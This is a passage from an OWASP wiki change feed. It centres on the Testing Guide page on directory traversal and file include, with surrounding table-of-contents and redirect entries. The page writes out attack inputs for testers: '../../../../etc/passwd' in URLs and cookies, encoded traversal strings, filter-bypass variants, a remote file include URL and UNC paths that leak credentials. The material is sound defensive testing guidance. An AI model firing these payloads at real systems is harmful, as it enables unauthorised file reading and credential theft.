&lt;br /&gt;
* Black Box Testing Tools &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
&lt;br /&gt;
* Whitepapers &lt;br /&gt;
* Books &lt;br /&gt;
* Useful Websites &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]== &lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]== &lt;br /&gt;
&lt;br /&gt;
* Input Encoding&lt;br /&gt;
* Output Encoding&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ARTICLES DELETED:&lt;br /&gt;
&lt;br /&gt;
INFO GATHERING:&lt;br /&gt;
&lt;br /&gt;
CONFIGURATION AND DEPLOY MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
IDENTITY MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
AUTHORIZATION TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
SESSION MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
DATA VALIDATION TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
CRYPTOGRAPHY:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
BUSINESS LOGIC:&lt;br /&gt;
&lt;br /&gt;
XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) &lt;br /&gt;
&lt;br /&gt;
DENIAL OF SERVICE&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]&lt;br /&gt;
&lt;br /&gt;
WEB SERVICES TESTING&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)&amp;diff=180293</id>
		<title>Testing Directory traversal/file include (OTG-AUTHZ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)&amp;diff=180293"/>
				<updated>2014-08-08T12:44:55Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: Andrew Muller moved page Testing for Path Traversal (OTG-AUTHZ-001) to Testing Directory traversal/file include (OTG-AUTHZ-001)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands. &lt;br /&gt;
&lt;br /&gt;
Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a &amp;quot;root directory&amp;quot; or &amp;quot;web document root&amp;quot;, which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.&lt;br /&gt;
&lt;br /&gt;
The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands.&lt;br /&gt;
&lt;br /&gt;
Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.&lt;br /&gt;
&lt;br /&gt;
In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.&lt;br /&gt;
&lt;br /&gt;
For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous &amp;quot;%5c escape code&amp;quot; into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.&lt;br /&gt;
&lt;br /&gt;
This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking.&lt;br /&gt;
&lt;br /&gt;
During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:  &lt;br /&gt;
* ('''a''') '''Input Vectors Enumeration''' (a systematic evaluation of each input vector)&lt;br /&gt;
* ('''b''') '''Testing Techniques''' (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
====Input Vectors Enumeration====&lt;br /&gt;
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here are some examples of the checks to be performed at this stage:&lt;br /&gt;
&lt;br /&gt;
* Are there request parameters which could be used for file-related operations? &lt;br /&gt;
* Are there unusual file extensions? &lt;br /&gt;
* Are there interesting variable names?  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example.com/getUserProfile.jsp?item=ikki.html&lt;br /&gt;
http://example.com/index.php?file=content&lt;br /&gt;
http://example.com/main.cgi?home=index.htm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower&lt;br /&gt;
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Testing Techniques====&lt;br /&gt;
&lt;br /&gt;
The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static information from a file and shows the content to users. An attacker could insert the malicious string &amp;quot;''../../../../etc/passwd''&amp;quot; to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For the cookies example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It's also possible to include files and scripts located on external website. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example.com/index.php?file=http://www.owasp.org/malicioustxt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example.com/main.cgi?home=main.cgi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The component called &amp;quot;''main.cgi''&amp;quot; is located in the same directory as the normal HTML static files used by the application.&lt;br /&gt;
In some cases the tester needs to encode the requests using special characters (like the &amp;quot;'''.'''&amp;quot; dot, &amp;quot;'''%00'''&amp;quot; null, ...) in order to bypass file extension controls or to prevent script execution.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Tip&amp;lt;/b&amp;gt;&lt;br /&gt;
It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn't successful, try another encoding scheme.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Each operating system uses different characters as path separator: &lt;br /&gt;
 &lt;br /&gt;
''Unix-like OS'':&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root directory: &amp;quot;/&amp;quot; &lt;br /&gt;
directory separator: &amp;quot;/&amp;quot; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''Windows OS' Shell':&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root directory: &amp;quot;&amp;lt;drive letter&amp;gt;:\&amp;quot;  &lt;br /&gt;
directory separator: &amp;quot;\&amp;quot; or &amp;quot;/&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''Classic Mac OS'':&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root directory: &amp;quot;&amp;lt;drive letter&amp;gt;:&amp;quot; &lt;br /&gt;
directory separator: &amp;quot;:&amp;quot; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We should take in to account the following character encoding mechanisms:&lt;br /&gt;
&lt;br /&gt;
* URL encoding and double URL encoding&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%2e%2e%2f represents ../&lt;br /&gt;
%2e%2e/ represents ../&lt;br /&gt;
..%2f represents ../&lt;br /&gt;
%2e%2e%5c represents ..\&lt;br /&gt;
%2e%2e\ represents ..\&lt;br /&gt;
..%5c represents ..\&lt;br /&gt;
%252e%252e%255c represents ..\&lt;br /&gt;
..%255c represents ..\ and so on.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..%c0%af represents ../&lt;br /&gt;
..%c1%9c represents ..\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.&lt;br /&gt;
&lt;br /&gt;
* ''Windows shell'': Appending any of the following to paths used in a shell command results in no difference in function:&lt;br /&gt;
** Angle brackets &amp;quot;&amp;gt;&amp;quot; and &amp;quot;&amp;lt;&amp;quot; at the end of the path&lt;br /&gt;
** Double quotes (closed properly) at the end of the path&lt;br /&gt;
** Extraneous current directory markers such as &amp;quot;./&amp;quot; or &amp;quot;.\&amp;quot; &lt;br /&gt;
** Extraneous parent directory markers with arbitrary items that may or may not exist&lt;br /&gt;
*: Examples:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
– file.txt &lt;br /&gt;
– file.txt...&lt;br /&gt;
– file.txt&amp;lt;spaces&amp;gt; &lt;br /&gt;
– file.txt”””” &lt;br /&gt;
– file.txt&amp;lt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;&amp;gt;&amp;lt; &lt;br /&gt;
– ./././file.txt&lt;br /&gt;
– nonexistant/../file.txt &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* ''Windows API'': The following items are discarded when used in any shell command or API call where a string is taken as a filename:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
periods&lt;br /&gt;
spaces&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* ''Windows UNC Filepaths'': Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
\\server_or_ip\path\to\file.abc&lt;br /&gt;
\\?\server_or_ip\path\to\file.abc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* ''Windows NT Device Namespace'': Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.&lt;br /&gt;
** May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter.&amp;lt;br&amp;gt;&amp;lt;pre&amp;gt;\\.\GLOBALROOT\Device\HarddiskVolume1\&amp;lt;/pre&amp;gt;&lt;br /&gt;
** Refers to the first disc drive on the machine.&amp;lt;br&amp;gt;&amp;lt;pre&amp;gt;\\.\CdRom0\&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (''stage ('''a''') of the testing'') more easily and accurately. During a source code review, they can use simple tools (such as the ''grep'' command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... &lt;br /&gt;
JSP/Servlet: java.io.File(), java.io.FileReader(), ...&lt;br /&gt;
ASP: include file, include virtual, ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using online code search engines (e.g., Ohloh Code[http://code.ohloh.net/]), it may also be possible to find path traversal flaws in Open Source software published on the Internet.&lt;br /&gt;
&lt;br /&gt;
For PHP, testers can use:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lang:php (include|require)(_once)?\s*['&amp;quot;(]?\s*\$_(GET|POST|COOKIE)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and &amp;quot;safe&amp;quot; but are not in reality.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider a web application with these instructions:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
filename = Request.QueryString(“file”); &lt;br /&gt;
Replace(filename, “/”,”\”); &lt;br /&gt;
Replace(filename, “..\”,””);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Testing for the flaw is achieved by:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
file=....//....//boot.ini &lt;br /&gt;
file=....\\....\\boot.ini &lt;br /&gt;
file= ..\..\boot.ini &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net&lt;br /&gt;
* Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt&lt;br /&gt;
* Web Proxy (''Burp Suite''[http://portswigger.net], ''Paros''[http://www.parosproxy.org/index.shtml], ''WebScarab''[http://www.owasp.org/index.php/OWASP_WebScarab_Project],''OWASP: Zed Attack Proxy (ZAP)''[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]) &lt;br /&gt;
* Enconding/Decoding tools &lt;br /&gt;
* String searcher &amp;quot;grep&amp;quot; - http://www.gnu.org/software/grep/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* phpBB Attachment Mod Directory Traversal HTTP POST Injection - http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html]&lt;br /&gt;
* Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[http://www.slideshare.net/BaronZor/windows-file-pseudonyms]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Path_Traversal_(OTG-AUTHZ-001)&amp;diff=180294</id>
		<title>Testing for Path Traversal (OTG-AUTHZ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Path_Traversal_(OTG-AUTHZ-001)&amp;diff=180294"/>
				<updated>2014-08-08T12:44:55Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: Andrew Muller moved page Testing for Path Traversal (OTG-AUTHZ-001) to Testing Directory traversal/file include (OTG-AUTHZ-001)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)&amp;diff=180295</id>
		<title>Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)&amp;diff=180295"/>
				<updated>2014-08-08T12:44:55Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: Andrew Muller moved page Talk:Testing for Path Traversal (OTG-AUTHZ-001) to Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Daniel Crowley sez:&lt;br /&gt;
There was some uncited and mangled material from a presentation of mine, so I cleaned it up for accuracy/clarity and cited my presentation.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Testing_for_Path_Traversal_(OTG-AUTHZ-001)&amp;diff=180296</id>
		<title>Talk:Testing for Path Traversal (OTG-AUTHZ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Testing_for_Path_Traversal_(OTG-AUTHZ-001)&amp;diff=180296"/>
				<updated>2014-08-08T12:44:55Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: Andrew Muller moved page Talk:Testing for Path Traversal (OTG-AUTHZ-001) to Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005)&amp;diff=180292</id>
		<title>Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005)&amp;diff=180292"/>
				<updated>2014-08-08T12:40:46Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:&lt;br /&gt;
&lt;br /&gt;
*user account provisioning&amp;lt;br&amp;gt;&lt;br /&gt;
*site design and layout&amp;lt;br&amp;gt;&lt;br /&gt;
